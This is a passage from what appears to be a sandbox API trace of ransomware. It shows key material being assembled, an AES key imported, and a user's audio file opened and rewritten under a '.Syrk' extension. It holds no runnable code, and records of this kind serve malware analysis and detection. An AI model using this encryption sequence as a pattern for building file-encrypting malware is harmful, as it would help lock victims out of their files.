(param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0236.119] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.119] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0236.119] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0236.119] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.120] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0236.120] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.120] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0236.120] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0236.120] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.120] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0236.120] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.120] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0236.120] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0236.120] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.120] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0236.120] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.120] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0236.121] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0236.121] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.121] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0236.121] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.121] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0236.122] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0236.122] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.122] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0236.122] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.122] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0236.122] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0236.122] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0236.123] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0236.123] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.123] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0236.123] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.123] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0236.123] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0236.123] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.123] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0236.123] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.123] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0236.123] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0236.123] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.123] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0236.124] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.124] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0236.124] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0236.124] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.124] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0236.124] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.124] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0236.124] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0236.124] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.124] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0236.124] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.124] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0236.124] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0236.124] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.125] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0236.125] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.125] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0236.125] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0236.125] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.125] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0236.125] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.125] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0236.125] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0236.125] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.125] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0236.125] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.126] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0236.126] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0236.126] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0236.126] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0236.126] SystemFunction041 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.126] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0236.126] SystemFunction040 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.126] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0236.126] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0236.126] SystemFunction041 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.127] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0236.127] SystemFunction040 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.127] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0236.127] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0236.127] SystemFunction041 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.127] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0236.127] SystemFunction040 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.127] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0236.127] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0236.127] SystemFunction041 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.127] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0236.127] SystemFunction040 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.128] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0236.128] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0236.128] SystemFunction041 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.128] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0236.128] SystemFunction040 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.128] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0236.128] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0236.128] SystemFunction041 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.128] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0236.128] SystemFunction040 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.128] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0236.128] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0236.128] SystemFunction041 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.129] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0236.129] SystemFunction040 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.129] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0236.129] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0236.129] SystemFunction041 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.129] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0236.129] SystemFunction040 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.129] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0236.129] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0236.130] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0236.130] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0236.130] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0236.130] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0236.130] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0236.130] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0236.130] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0236.130] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0236.130] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0236.130] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0236.130] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0236.131] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0236.131] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0236.131] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0236.131] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0236.131] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0236.131] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0236.131] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0236.131] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0236.131] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0236.131] EtwEventActivityIdControl () returned 0x0 [0236.131] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0236.131] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0236.132] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0236.132] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0236.133] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cee0) returned 1 [0236.135] CryptImportKey (in: hProv=0x5c4cee0, pbData=0x245b7b4*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c69080) returned 1 [0236.135] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0236.135] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.136] EtwEventActivityIdControl () returned 0x0 [0236.136] EtwEventActivityIdControl () returned 0x0 [0236.136] EtwEventActivityIdControl () returned 0x0 [0236.145] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\l9ni.wav")) returned 0x20 [0236.146] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\l9ni.wav")) returned 0x20 [0236.146] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0236.146] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav", lpFilePart=0x0) returned 0x44 [0236.147] EtwEventActivityIdControl () returned 0x0 [0236.147] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.148] EtwEventActivityIdControl () returned 0x0 [0236.148] EtwEventActivityIdControl () returned 0x0 [0236.148] EtwEventActivityIdControl () returned 0x0 [0236.149] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0236.149] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav", lpFilePart=0x0) returned 0x44 [0236.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0236.149] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\l9ni.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0236.150] GetFileType (hFile=0x454) returned 0x1 [0236.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0236.150] GetFileType (hFile=0x454) returned 0x1 [0236.150] EtwEventActivityIdControl () returned 0x0 [0236.150] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.151] EtwEventActivityIdControl () returned 0x0 [0236.151] EtwEventActivityIdControl () returned 0x0 [0236.151] EtwEventActivityIdControl () returned 0x0 [0236.240] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0236.240] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav.Syrk", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav.Syrk", lpFilePart=0x0) returned 0x49 [0236.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0236.240] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\l9ni.wav.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0236.241] GetFileType (hFile=0x458) returned 0x1 [0236.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0236.241] GetFileType (hFile=0x458) returned 0x1 [0236.241] EtwEventActivityIdControl () returned 0x0 [0236.241] CryptGenRandom (in: hProv=0x5c4cee0, dwLen=0x10, pbBuffer=0x246f180 | out: pbBuffer=0x246f180) returned 